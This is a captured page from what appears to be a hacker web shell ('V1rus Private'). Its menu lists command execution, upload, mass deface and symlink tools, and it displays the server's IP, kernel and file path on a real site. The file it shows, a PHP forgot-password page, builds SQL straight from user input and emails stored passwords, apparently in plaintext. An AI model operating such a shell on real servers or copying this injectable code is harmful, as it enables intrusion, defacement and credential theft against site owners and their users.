V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
dashboard
/
Viewing: forgot.php
<?php session_start(); include("include/connection.php"); $msg=""; $username=""; $password=""; if(isset($_POST["submit"])) { $email=$_POST['email']; if (strlen(trim($email))=="") { $msg="Enter email"; } else { //$pwd = md5($pass); $sql="SELECT * FROM admin WHERE email_id='$email'"; $res = $db -> query($sql); if($res -> num_rows > 0) { $row = $res -> fetch_assoc(); $pass= $row['password']; $mail= $row['email_id']; if($mail==$email) { $to = $mail; $subject = ' - By '. $mail ; $txt = "Your register email id : ".$mail."\n\r Your password:".$pass; $headers[] = 'MIME-Version: 1.0'; $headers[] = 'Content-type: text/html; charset=iso-8859-1'; // Additional headers $headers[] = $mail; $headers[] = 'From: '.$mail; mail($to,$subject,$txt); $msg= "Password is Sent to Your Register Email Address"; } } else { $msg="Invalid Email Address"; } } } ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Forgot Password</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> </head> <body> <div class="container" style="margin-top:120px;"> <div class="col-lg-6 col-lg-offset-3"> <div class="box"> <div class="box-header"> <h4 class="box-title"><b>TypeYour Register Email</b></h4> </div> <div class="box-p"> <div class="alert-wrapper"> <?php if($msg!=""){ ?> <div class="alert alert-danger"> <?php echo $msg;?> </div> <?php } ?> </div> <form action="" class="form-horizontal" method="post" accept-charset="utf-8"> <div class="form-group"> <label class="col-lg-3 control-label" for="username">Email:</label> <div class="col-lg-6"> <input type="text" name="email" value="" placeholder="Email" class="form-control input-sm"/> </div> </div> <div class="form-group"> <div class="col-lg-6 col-lg-offset-3"> <input type="hidden" value="Send" name="submit" /> <button class="btn btn-primary btn-sm"><i class="fa fa-lock"></i> Send</button> </div> </div> <input type="hidden" value="" name="redirect"/> <input type="hidden" value="submitted" name="submitted"/> </form> </div> <div class="box-bt box-p"> </div> </div> </div> </div> </div> <div class="footer text-center" style="position: fixed; bottom: 0; width: 100%;"> Copyright © 2017. Version 1.1 </div> </body> </html>
Coded With 💗 by
HanzOFC